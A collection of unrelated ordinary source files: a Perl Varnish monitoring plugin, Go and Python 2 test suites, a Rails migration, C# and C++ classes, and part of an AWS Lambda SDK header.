                                        value => sprintf("%.2f", $self->{outputdata}->{$_} * $maps_counters->{$_}->{factor}),
                                        warning => $warning,
                                        critical => $critical);
    }
    $self->{output}->output_add(severity => $exit,
                                short_msg => $str_output);

    $self->{output}->display();
    $self->{output}->exit();
};

1;

__END__

=head1 MODE

Check Varnish Cache with varnishstat Command

=over 8

=item B<--remote>

If you dont run this script locally, if you wanna use it remote, you can run it remotely with 'ssh'.

=item B<--hostname>

Hostname to query (need --remote).

=item B<--ssh-option>

Specify multiple options like the user (example: --ssh-option='-l=centreon-engine' --ssh-option='-p=52').

=item B<--command>

Varnishstat Binary Filename (Default: varnishstat)

=item B<--command-path>

Directory Path to Varnishstat Binary File (Default: /usr/bin)

=item B<--command-options>

Parameter for Binary File (Default: ' -1 ')

=item B<--warning-*>

Warning Threshold for:
records => SHM records,
writes  => SHM writes,
flushes => SHM flushes due to overflow,
cont    => SHM MTX contention,
cycles  => SHM cycles through buffer

=item B<--critical-*>

Critical Threshold for:
records => SHM records,
writes  => SHM writes,
flushes => SHM flushes due to overflow,
cont    => SHM MTX contention,
cycles  => SHM cycles through buffer

=back

=cut


text:
namespace ACBr.Net.Sat
{
    public class RetSatIntegradorMFe
    {
        public string XmlEnvio { get; set; }
        public string XmlRetorno { get; set; }
    }
}


text:
package jmeter

import (
	"errors"

	. "github.com/onsi/ginkgo"
	. "github.com/onsi/gomega"
	v1 "k8s.io/api/apps/v1"
	corev1 "k8s.io/api/core/v1"
	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"

	perfv1alpha1 "github.com/xridge/kubestone/api/v1alpha1"
)

var _ = Describe("jmeter workers statefulset", func() {
	Describe("cr minimum parameter set", func() {
		var cr perfv1alpha1.JMeter
		var statefulSet *v1.StatefulSet
		replicas := int32(5)

		BeforeEach(func() {
			cr = perfv1alpha1.JMeter{
				ObjectMeta: metav1.ObjectMeta{
					Name:      "jmeter-test",
					Namespace: "default",
				},
				Spec: perfv1alpha1.JMeterSpec{
					Workers: &perfv1alpha1.JMeterWorkers{
						Replicas: &replicas,
					},
					Controller: &perfv1alpha1.JMeterController{
						Image: perfv1alpha1.ImageSpec{
							Name:       "justb4/jmeter:5.3",
							PullPolicy: "Always",
						},
						Volume: perfv1alpha1.VolumeSpec{
							VolumeSource: corev1.VolumeSource{
								EmptyDir: &corev1.EmptyDirVolumeSource{},
							},
						},
						TestName: "jmeter-sample-test.jmx",
						PlanTest: map[string]string{
							"jmeter-sample-test.jmx": JMeterPlan,
						},
					},
				},
			}

			var err error

			statefulSet, err = NewStatefulSet(&cr)
			if err != nil {
				panic(err)
			}
		})
		Context("with replicas", func() {
			It("CR Validation should succeed", func() {
				valid, err := IsCrValid(&cr)
				Expect(valid).To(BeTrue())
				Expect(err).To(BeNil())
			})
			It("should have the flag -s and -J", func() {
				args := statefulSet.Spec.Template.Spec.Containers[0].Args
				Expect(args).To(ContainElement("-s"))
				Expect(args).To(ContainElement("-J"))
				Expect(args).To(ContainElement("server.rmi.ssl.disable=true"))
			})
			It("statefulSet replicas should be", func() {
				Expect(*statefulSet.Spec.Replicas).To(Equal(replicas))
			})
		})
	})
	Describe("cr with invalid values", func() {
		Context("with -s flag", func() {
			invalidCr := perfv1alpha1.JMeter{
				Spec: perfv1alpha1.JMeterSpec{
					Workers: &perfv1alpha1.JMeterWorkers{
						Image: perfv1alpha1.ImageSpec{
							Name: "justb4/jmeter:5.3",
						},
						Args: "-s",
					},
					Controller: &perfv1alpha1.JMeterController{
						Image: perfv1alpha1.ImageSpec{
							Name:       "justb4/jmeter:5.3",
							PullPolicy: "Always",
						},
						Volume: perfv1alpha1.VolumeSpec{
							VolumeSource: corev1.VolumeSource{
								EmptyDir: &corev1.EmptyDirVolumeSource{},
							},
						},
						TestName: "jmeter-sample-test.jmx",
						PlanTest: map[string]string{
							"jmeter-sample-test.jmx": JMeterPlan,
						},
					},
				},
			}

			It("CR Validation should fail", func() {
				valid, err := IsCrValid(&invalidCr)
				Expect(valid).To(BeFalse())
				Expect(err).NotTo(BeNil())
			})
		})
	})
	Describe("cr without workers", func() {
		var cr perfv1alpha1.JMeter
		var statefulSet *v1.StatefulSet
		var err error

		BeforeEach(func() {
			cr = perfv1alpha1.JMeter{
				Spec: perfv1alpha1.JMeterSpec{
					Controller: &perfv1alpha1.JMeterController{
						Image: perfv1alpha1.ImageSpec{
							Name:       "justb4/jmeter:5.3",
							PullPolicy: "Always",
						},
						Volume: perfv1alpha1.VolumeSpec{
							VolumeSource: corev1.VolumeSource{
								EmptyDir: &corev1.EmptyDirVolumeSource{},
							},
						},
						TestName: "jmeter-sample-test.jmx",
						PlanTest: map[string]string{
							"jmeter-sample-test.jmx": JMeterPlan,
						},
					},
				},
			}
			statefulSet, err = NewStatefulSet(&cr)
		})
		Context("this context should never happen", func() {
			It("should fail with and error", func() {
				Expect(statefulSet).To(BeNil())
				Expect(err).To(MatchError(errors.New("Error creating StatefulSet, spec.workers isn't specified")))
			})
		})
	})
})


text:
from test.test_support import verify, verbose, TestFailed, vereq
import sys
import gc
import weakref

def expect(actual, expected, name):
    if actual != expected:
        raise TestFailed, "test_%s: actual %r, expected %r" % (
            name, actual, expected)

def expect_nonzero(actual, name):
    if actual == 0:
        raise TestFailed, "test_%s: unexpected zero" % name

def run_test(name, thunk):
    if verbose:
        print "testing %s..." % name,
    thunk()
    if verbose:
        print "ok"

def test_list():
    l = []
    l.append(l)
    gc.collect()
    del l
    expect(gc.collect(), 1, "list")

def test_dict():
    d = {}
    d[1] = d
    gc.collect()
    del d
    expect(gc.collect(), 1, "dict")

def test_tuple():
    # since tuples are immutable we close the loop with a list
    l = []
    t = (l,)
    l.append(t)
    gc.collect()
    del t
    del l
    expect(gc.collect(), 2, "tuple")

def test_class():
    class A:
        pass
    A.a = A
    gc.collect()
    del A
    expect_nonzero(gc.collect(), "class")

def test_newstyleclass():
    class A(object):
        pass
    gc.collect()
    del A
    expect_nonzero(gc.collect(), "staticclass")

def test_instance():
    class A:
        pass
    a = A()
    a.a = a
    gc.collect()
    del a
    expect_nonzero(gc.collect(), "instance")

def test_newinstance():
    class A(object):
        pass
    a = A()
    a.a = a
    gc.collect()
    del a
    expect_nonzero(gc.collect(), "newinstance")
    class B(list):
        pass
    class C(B, A):
        pass
    a = C()
    a.a = a
    gc.collect()
    del a
    expect_nonzero(gc.collect(), "newinstance(2)")
    del B, C
    expect_nonzero(gc.collect(), "newinstance(3)")
    A.a = A()
    del A
    expect_nonzero(gc.collect(), "newinstance(4)")
    expect(gc.collect(), 0, "newinstance(5)")

def test_method():
    # Tricky: self.__init__ is a bound method, it references the instance.
    class A:
        def __init__(self):
            self.init = self.__init__
    a = A()
    gc.collect()
    del a
    expect_nonzero(gc.collect(), "method")

def test_finalizer():
    # A() is uncollectable if it is part of a cycle, make sure it shows up
    # in gc.garbage.
    class A:
        def __del__(self): pass
    class B:
        pass
    a = A()
    a.a = a
    id_a = id(a)
    b = B()
    b.b = b
    gc.collect()
    del a
    del b
    expect_nonzero(gc.collect(), "finalizer")
    for obj in gc.garbage:
        if id(obj) == id_a:
            del obj.a
            break
    else:
        raise TestFailed, "didn't find obj in garbage (finalizer)"
    gc.garbage.remove(obj)

def test_finalizer_newclass():
    # A() is uncollectable if it is part of a cycle, make sure it shows up
    # in gc.garbage.
    class A(object):
        def __del__(self): pass
    class B(object):
        pass
    a = A()
    a.a = a
    id_a = id(a)
    b = B()
    b.b = b
    gc.collect()
    del a
    del b
    expect_nonzero(gc.collect(), "finalizer")
    for obj in gc.garbage:
        if id(obj) == id_a:
            del obj.a
            break
    else:
        raise TestFailed, "didn't find obj in garbage (finalizer)"
    gc.garbage.remove(obj)

def test_function():
    # Tricky: f -> d -> f, code should call d.clear() after the exec to
    # break the cycle.
    d = {}
    exec("def f(): pass\n") in d
    gc.collect()
    del d
    expect(gc.collect(), 2, "function")

def test_frame():
    def f():
        frame = sys._getframe()
    gc.collect()
    f()
    expect(gc.collect(), 1, "frame")

def test_saveall():
    # Verify that cyclic garbage like lists show up in gc.garbage if the
    # SAVEALL option is enabled.

    # First make sure we don't save away other stuff that just happens to
    # be waiting for collection.
    gc.collect()
    vereq(gc.garbage, []) # if this fails, someone else created immortal trash

    L = []
    L.append(L)
    id_L = id(L)

    debug = gc.get_debug()
    gc.set_debug(debug | gc.DEBUG_SAVEALL)
    del L
    gc.collect()
    gc.set_debug(debug)

    vereq(len(gc.garbage), 1)
    obj = gc.garbage.pop()
    vereq(id(obj), id_L)

def test_del():
    # __del__ methods can trigger collection, make this to happen
    thresholds = gc.get_threshold()
    gc.enable()
    gc.set_threshold(1)

    class A:
        def __del__(self):
            dir(self)
    a = A()
    del a

    gc.disable()
    gc.set_threshold(*thresholds)

def test_del_newclass():
    # __del__ methods can trigger collection, make this to happen
    thresholds = gc.get_threshold()
    gc.enable()
    gc.set_threshold(1)

    class A(object):
        def __del__(self):
            dir(self)
    a = A()
    del a

    gc.disable()
    gc.set_threshold(*thresholds)

def test_get_count():
    gc.collect()
    expect(gc.get_count(), (0, 0, 0), "get_count()")
    a = dict()
    expect(gc.get_count(), (1, 0, 0), "get_count()")

def test_collect_generations():
    gc.collect()
    a = dict()
    gc.collect(0)
    expect(gc.get_count(), (0, 1, 0), "collect(0)")
    gc.collect(1)
    expect(gc.get_count(), (0, 0, 1), "collect(1)")
    gc.collect(2)
    expect(gc.get_count(), (0, 0, 0), "collect(1)")

class Ouch:
    n = 0
    def __del__(self):
        Ouch.n = Ouch.n + 1
        if Ouch.n % 17 == 0:
            gc.collect()

def test_trashcan():
    # "trashcan" is a hack to prevent stack overflow when deallocating
    # very deeply nested tuples etc.  It works in part by abusing the
    # type pointer and refcount fields, and that can yield horrible
    # problems when gc tries to traverse the structures.
    # If this test fails (as it does in 2.0, 2.1 and 2.2), it will
    # most likely die via segfault.

    # Note:  In 2.3 the possibility for compiling without cyclic gc was
    # removed, and that in turn allows the trashcan mechanism to work
    # via much simpler means (e.g., it never abuses the type pointer or
    # refcount fields anymore).  Since it's much less likely to cause a
    # problem now, the various constants in this expensive (we force a lot
    # of full collections) test are cut back from the 2.2 version.
    gc.enable()
    N = 150
    for count in range(2):
        t = []
        for i in range(N):
            t = [t, Ouch()]
        u = []
        for i in range(N):
            u = [u, Ouch()]
        v = {}
        for i in range(N):
            v = {1: v, 2: Ouch()}
    gc.disable()

class Boom:
    def __getattr__(self, someattribute):
        del self.attr
        raise AttributeError

def test_boom():
    a = Boom()
    b = Boom()
    a.attr = b
    b.attr = a

    gc.collect()
    garbagelen = len(gc.garbage)
    del a, b
    # a<->b are in a trash cycle now.  Collection will invoke Boom.__getattr__
    # (to see whether a and b have __del__ methods), and __getattr__ deletes
    # the internal "attr" attributes as a side effect.  That causes the
    # trash cycle to get reclaimed via refcounts falling to 0, thus mutating
    # the trash graph as a side effect of merely asking whether __del__
    # exists.  This used to (before 2.3b1) crash Python.  Now __getattr__
    # isn't called.
    expect(gc.collect(), 4, "boom")
    expect(len(gc.garbage), garbagelen, "boom")

class Boom2:
    def __init__(self):
        self.x = 0

    def __getattr__(self, someattribute):
        self.x += 1
        if self.x > 1:
            del self.attr
        raise AttributeError

def test_boom2():
    a = Boom2()
    b = Boom2()
    a.attr = b
    b.attr = a

    gc.collect()
    garbagelen = len(gc.garbage)
    del a, b
    # Much like test_boom(), except that __getattr__ doesn't break the
    # cycle until the second time gc checks for __del__.  As of 2.3b1,
    # there isn't a second time, so this simply cleans up the trash cycle.
    # We expect a, b, a.__dict__ and b.__dict__ (4 objects) to get reclaimed
    # this way.
    expect(gc.collect(), 4, "boom2")
    expect(len(gc.garbage), garbagelen, "boom2")

# boom__new and boom2_new are exactly like boom and boom2, except use
# new-style classes.

class Boom_New(object):
    def __getattr__(self, someattribute):
        del self.attr
        raise AttributeError

def test_boom_new():
    a = Boom_New()
    b = Boom_New()
    a.attr = b
    b.attr = a

    gc.collect()
    garbagelen = len(gc.garbage)
    del a, b
    expect(gc.collect(), 4, "boom_new")
    expect(len(gc.garbage), garbagelen, "boom_new")

class Boom2_New(object):
    def __init__(self):
        self.x = 0

    def __getattr__(self, someattribute):
        self.x += 1
        if self.x > 1:
            del self.attr
        raise AttributeError

def test_boom2_new():
    a = Boom2_New()
    b = Boom2_New()
    a.attr = b
    b.attr = a

    gc.collect()
    garbagelen = len(gc.garbage)
    del a, b
    expect(gc.collect(), 4, "boom2_new")
    expect(len(gc.garbage), garbagelen, "boom2_new")

def test_get_referents():
    alist = [1, 3, 5]
    got = gc.get_referents(alist)
    got.sort()
    expect(got, alist, "get_referents")

    atuple = tuple(alist)
    got = gc.get_referents(atuple)
    got.sort()
    expect(got, alist, "get_referents")

    adict = {1: 3, 5: 7}
    expected = [1, 3, 5, 7]
    got = gc.get_referents(adict)
    got.sort()
    expect(got, expected, "get_referents")

    got = gc.get_referents([1, 2], {3: 4}, (0, 0, 0))
    got.sort()
    expect(got, [0, 0] + range(5), "get_referents")

    expect(gc.get_referents(1, 'a', 4j), [], "get_referents")

# Bug 1055820 has several tests of longstanding bugs involving weakrefs and
# cyclic gc.

# An instance of C1055820 has a self-loop, so becomes cyclic trash when
# unreachable.
class C1055820(object):
    def __init__(self, i):
        self.i = i
        self.loop = self

class GC_Detector(object):
    # Create an instance I.  Then gc hasn't happened again so long as
    # I.gc_happened is false.

    def __init__(self):
        self.gc_happened = False

        def it_happened(ignored):
            self.gc_happened = True

        # Create a piece of cyclic trash that triggers it_happened when
        # gc collects it.
        self.wr = weakref.ref(C1055820(666), it_happened)

def test_bug1055820b():
    # Corresponds to temp2b.py in the bug report.

    ouch = []
    def callback(ignored):
        ouch[:] = [wr() for wr in WRs]

    Cs = [C1055820(i) for i in range(2)]
    WRs = [weakref.ref(c, callback) for c in Cs]
    c = None

    gc.collect()
    expect(len(ouch), 0, "bug1055820b")
    # Make the two instances trash, and collect again.  The bug was that
    # the callback materialized a strong reference to an instance, but gc
    # cleared the instance's dict anyway.
    Cs = None
    gc.collect()
    expect(len(ouch), 2, "bug1055820b")  # else the callbacks didn't run
    for x in ouch:
        # If the callback resurrected one of these guys, the instance
        # would be damaged, with an empty __dict__.
        expect(x, None, "bug1055820b")

def test_bug1055820c():
    # Corresponds to temp2c.py in the bug report.  This is pretty elaborate.

    c0 = C1055820(0)
    # Move c0 into generation 2.
    gc.collect()

    c1 = C1055820(1)
    c1.keep_c0_alive = c0
    del c0.loop # now only c1 keeps c0 alive

    c2 = C1055820(2)
    c2wr = weakref.ref(c2) # no callback!

    ouch = []
    def callback(ignored):
        ouch[:] = [c2wr()]

    # The callback gets associated with a wr on an object in generation 2.
    c0wr = weakref.ref(c0, callback)

    c0 = c1 = c2 = None

    # What we've set up:  c0, c1, and c2 are all trash now.  c0 is in
    # generation 2.  The only thing keeping it alive is that c1 points to it.
    # c1 and c2 are in generation 0, and are in self-loops.  There's a global
    # weakref to c2 (c2wr), but that weakref has no callback.  There's also
    # a global weakref to c0 (c0wr), and that does have a callback, and that
    # callback references c2 via c2wr().
    #
    #               c0 has a wr with callback, which references c2wr
    #               ^
    #               |
    #               |     Generation 2 above dots
    #. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
    #               |     Generation 0 below dots
    #               |
    #               |
    #            ^->c1   ^->c2 has a wr but no callback
    #            |  |    |  |
    #            <--v    <--v
    #
    # So this is the nightmare:  when generation 0 gets collected, we see that
    # c2 has a callback-free weakref, and c1 doesn't even have a weakref.
    # Collecting generation 0 doesn't see c0 at all, and c0 is the only object
    # that has a weakref with a callback.  gc clears c1 and c2.  Clearing c1
    # has the side effect of dropping the refcount on c0 to 0, so c0 goes
    # away (despite that it's in an older generation) and c0's wr callback
    # triggers.  That in turn materializes a reference to c2 via c2wr(), but
    # c2 gets cleared anyway by gc.

    # We want to let gc happen "naturally", to preserve the distinction
    # between generations.
    junk = []
    i = 0
    detector = GC_Detector()
    while not detector.gc_happened:
        i += 1
        if i > 10000:
            raise TestFailed("gc didn't happen after 10000 iterations")
        expect(len(ouch), 0, "bug1055820c")
        junk.append([])  # this will eventually trigger gc

    expect(len(ouch), 1, "bug1055820c")  # else the callback wasn't invoked
    for x in ouch:
        # If the callback resurrected c2, the instance would be damaged,
        # with an empty __dict__.
        expect(x, None, "bug1055820c")

def test_bug1055820d():
    # Corresponds to temp2d.py in the bug report.  This is very much like
    # test_bug1055820c, but uses a __del__ method instead of a weakref
    # callback to sneak in a resurrection of cyclic trash.

    ouch = []
    class D(C1055820):
        def __del__(self):
            ouch[:] = [c2wr()]

    d0 = D(0)
    # Move all the above into generation 2.
    gc.collect()

    c1 = C1055820(1)
    c1.keep_d0_alive = d0
    del d0.loop # now only c1 keeps d0 alive

    c2 = C1055820(2)
    c2wr = weakref.ref(c2) # no callback!

    d0 = c1 = c2 = None

    # What we've set up:  d0, c1, and c2 are all trash now.  d0 is in
    # generation 2.  The only thing keeping it alive is that c1 points to it.
    # c1 and c2 are in generation 0, and are in self-loops.  There's a global
    # weakref to c2 (c2wr), but that weakref has no callback.  There are no
    # other weakrefs.
    #
    #               d0 has a __del__ method that references c2wr
    #               ^
    #               |
    #               |     Generation 2 above dots
    #. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
    #               |     Generation 0 below dots
    #               |
    #               |
    #            ^->c1   ^->c2 has a wr but no callback
    #            |  |    |  |
    #            <--v    <--v
    #
    # So this is the nightmare:  when generation 0 gets collected, we see that
    # c2 has a callback-free weakref, and c1 doesn't even have a weakref.
    # Collecting generation 0 doesn't see d0 at all.  gc clears c1 and c2.
    # Clearing c1 has the side effect of dropping the refcount on d0 to 0, so
    # d0 goes away (despite that it's in an older generation) and d0's __del__
    # triggers.  That in turn materializes a reference to c2 via c2wr(), but
    # c2 gets cleared anyway by gc.

    # We want to let gc happen "naturally", to preserve the distinction
    # between generations.
    detector = GC_Detector()
    junk = []
    i = 0
    while not detector.gc_happened:
        i += 1
        if i > 10000:
            raise TestFailed("gc didn't happen after 10000 iterations")
        expect(len(ouch), 0, "bug1055820d")
        junk.append([])  # this will eventually trigger gc

    expect(len(ouch), 1, "bug1055820d")  # else __del__ wasn't invoked
    for x in ouch:
        # If __del__ resurrected c2, the instance would be damaged, with an
        # empty __dict__.
        expect(x, None, "bug1055820d")

def test_all():
    gc.collect() # Delete 2nd generation garbage
    run_test("lists", test_list)
    run_test("dicts", test_dict)
    run_test("tuples", test_tuple)
    run_test("classes", test_class)
    run_test("new style classes", test_newstyleclass)
    run_test("instances", test_instance)
    run_test("new instances", test_newinstance)
    run_test("methods", test_method)
    run_test("functions", test_function)
    run_test("frames", test_frame)
    run_test("finalizers", test_finalizer)
    run_test("finalizers (new class)", test_finalizer_newclass)
    run_test("__del__", test_del)
    run_test("__del__ (new class)", test_del_newclass)
    run_test("get_count()", test_get_count)
    run_test("collect(n)", test_collect_generations)
    run_test("saveall", test_saveall)
    run_test("trashcan", test_trashcan)
    run_test("boom", test_boom)
    run_test("boom2", test_boom2)
    run_test("boom_new", test_boom_new)
    run_test("boom2_new", test_boom2_new)
    run_test("get_referents", test_get_referents)
    run_test("bug1055820b", test_bug1055820b)

    gc.enable()
    try:
        run_test("bug1055820c", test_bug1055820c)
    finally:
        gc.disable()

    gc.enable()
    try:
        run_test("bug1055820d", test_bug1055820d)
    finally:
        gc.disable()

def test():
    if verbose:
        print "disabling automatic collection"
    enabled = gc.isenabled()
    gc.disable()
    verify(not gc.isenabled())
    debug = gc.get_debug()
    gc.set_debug(debug & ~gc.DEBUG_LEAK) # this test is supposed to leak

    try:
        test_all()
    finally:
        gc.set_debug(debug)
        # test gc.enable() even if GC is disabled by default
        if verbose:
            print "restoring automatic collection"
        # make sure to always test gc.enable()
        gc.enable()
        verify(gc.isenabled())
        if not enabled:
            gc.disable()

test()


text:
class AddProviderIdToProviderAccounts < ActiveRecord::Migration
  def self.up
    add_column :provider_accounts, :provider_id, :integer
    add_index :provider_accounts, [ :provider_id ]
  end

  def self.down
    remove_column :provider_accounts, :provider_id
  end
end


text:
class ScopedLibrary {
 public:
  // Always creates initialized ScopedLibrary.
  // [in] file_name - library's file name.
  explicit ScopedLibrary(const TCHAR *file_name)
      : library_(::LoadLibrary(file_name)) {}
  // Unloads owned library, if any.
  ~ScopedLibrary() {
    if (library_ != NULL)
      ::FreeLibrary(library_);
  }
  inline HMODULE handle() const { return library_; }
  // Returns true if library was loaded successfully.
  bool IsValid() const { return library_ != NULL; }

 private:
  // Handle to loaded library.
  const HMODULE library_;
  DISALLOW_COPY_AND_ASSIGN(ScopedLibrary);
};

// A class representing a pointer to a function retrieved from DLL.
// FunctionPrototype is a regular C-style pointer-to-function type
// definition. For example, type of WinAPI IsValidSid function:
//     BOOL (WINAPI*)(PSID)
//
// Example:
//     FunctionFromDll<BOOL (WINAPI*)(PSID)> is_valid_sid;
//     ... = is_valid_sid.function()(...);
template<typename FunctionPrototype>
class FunctionFromDll {
 public:
  FunctionFromDll() : function_(NULL) {}
  // Binds this object to a function from DLL.
  // [in] library - handle to a library containing a function.
  //     Must not be NULL.
  // [in] name - name of the function.
  void Bind(HMODULE library, const char *name) {
    function_ =
        reinterpret_cast<FunctionPrototype>(::GetProcAddress(library, name));
  }
  inline FunctionPrototype function() const { return function_; }
  // Returns true if function was bound successfully.
  bool IsValid() const { return function_ != NULL; }

 private:
  // Pointer to the function.
  FunctionPrototype function_;
  DISALLOW_COPY_AND_ASSIGN(FunctionFromDll);
};

#endif  // BAR_COMMON_SCOPEDLIBRARY_H_


text:
#pragma once
#include <aws/lambda/Lambda_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <aws/lambda/model/Cors.h>
#include <aws/lambda/model/FunctionUrlAuthType.h>
#include <utility>

namespace Aws
{
namespace Utils
{
namespace Json
{
  class JsonValue;
  class JsonView;
} // namespace Json
} // namespace Utils
namespace Lambda
{
namespace Model
{

  /**
   *
Details about a Lambda function URL.

See Also:
   AWS
   * API Reference

   */
  class AWS_LAMBDA_API FunctionUrlConfig
  {
  public:
    FunctionUrlConfig();
    FunctionUrlConfig(Aws::Utils::Json::JsonView jsonValue);
    FunctionUrlConfig& operator=(Aws::Utils::Json::JsonView jsonValue);
    Aws::Utils::Json::JsonValue Jsonize() const;

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline const Aws::String& GetFunctionUrl() const{ return m_functionUrl; }

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline bool FunctionUrlHasBeenSet() const { return m_functionUrlHasBeenSet; }

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline void SetFunctionUrl(const Aws::String& value) { m_functionUrlHasBeenSet = true; m_functionUrl = value; }

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline void SetFunctionUrl(Aws::String&& value) { m_functionUrlHasBeenSet = true; m_functionUrl = std::move(value); }

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline void SetFunctionUrl(const char* value) { m_functionUrlHasBeenSet = true; m_functionUrl.assign(value); }

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline FunctionUrlConfig& WithFunctionUrl(const Aws::String& value) { SetFunctionUrl(value); return *this;}

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline FunctionUrlConfig& WithFunctionUrl(Aws::String&& value) { SetFunctionUrl(std::move(value)); return *this;}

    /**
     *
The HTTP URL endpoint for your function.

     */
    inline FunctionUrlConfig& WithFunctionUrl(const char* value) { SetFunctionUrl(value); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline const Aws::String& GetFunctionArn() const{ return m_functionArn; }

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline bool FunctionArnHasBeenSet() const { return m_functionArnHasBeenSet; }

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline void SetFunctionArn(const Aws::String& value) { m_functionArnHasBeenSet = true; m_functionArn = value; }

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline void SetFunctionArn(Aws::String&& value) { m_functionArnHasBeenSet = true; m_functionArn = std::move(value); }

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline void SetFunctionArn(const char* value) { m_functionArnHasBeenSet = true; m_functionArn.assign(value); }

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline FunctionUrlConfig& WithFunctionArn(const Aws::String& value) { SetFunctionArn(value); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline FunctionUrlConfig& WithFunctionArn(Aws::String&& value) { SetFunctionArn(std::move(value)); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of your function.

     */
    inline FunctionUrlConfig& WithFunctionArn(const char* value) { SetFunctionArn(value); return *this;}

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline const Aws::String& GetCreationTime() const{ return m_creationTime; }

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline bool CreationTimeHasBeenSet() const { return m_creationTimeHasBeenSet; }

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetCreationTime(const Aws::String& value) { m_creationTimeHasBeenSet = true; m_creationTime = value; }

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetCreationTime(Aws::String&& value) { m_creationTimeHasBeenSet = true; m_creationTime = std::move(value); }

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetCreationTime(const char* value) { m_creationTimeHasBeenSet = true; m_creationTime.assign(value); }

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithCreationTime(const Aws::String& value) { SetCreationTime(value); return *this;}

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithCreationTime(Aws::String&& value) { SetCreationTime(std::move(value)); return *this;}

    /**
     *
When the function URL was created, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithCreationTime(const char* value) { SetCreationTime(value); return *this;}

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline const Aws::String& GetLastModifiedTime() const{ return m_lastModifiedTime; }

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline bool LastModifiedTimeHasBeenSet() const { return m_lastModifiedTimeHasBeenSet; }

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetLastModifiedTime(const Aws::String& value) { m_lastModifiedTimeHasBeenSet = true; m_lastModifiedTime = value; }

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetLastModifiedTime(Aws::String&& value) { m_lastModifiedTimeHasBeenSet = true; m_lastModifiedTime = std::move(value); }

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline void SetLastModifiedTime(const char* value) { m_lastModifiedTimeHasBeenSet = true; m_lastModifiedTime.assign(value); }

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithLastModifiedTime(const Aws::String& value) { SetLastModifiedTime(value); return *this;}

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithLastModifiedTime(Aws::String&& value) { SetLastModifiedTime(std::move(value)); return *this;}

    /**
     *
When the function URL configuration was last updated, in ISO-8601 format
     * (YYYY-MM-DDThh:mm:ss.sTZD).

     */
    inline FunctionUrlConfig& WithLastModifiedTime(const char* value) { SetLastModifiedTime(value); return *this;}

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline const Cors& GetCors() const{ return m_cors; }

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline bool CorsHasBeenSet() const { return m_corsHasBeenSet; }

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline void SetCors(const Cors& value) { m_corsHasBeenSet = true; m_cors = value; }

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline void SetCors(Cors&& value) { m_corsHasBeenSet = true; m_cors = std::move(value); }

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline FunctionUrlConfig& WithCors(const Cors& value) { SetCors(value); return *this;}

    /**
     *
The cross-origin
     * resource sharing (CORS) settings for your function URL.

     */
    inline FunctionUrlConfig& WithCors(Cors&& value) { SetCors(std::move(value)); return *this;}

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline const FunctionUrlAuthType& GetAuthType() const{ return m_authType; }

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline bool AuthTypeHasBeenSet() const { return m_authTypeHasBeenSet; }

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
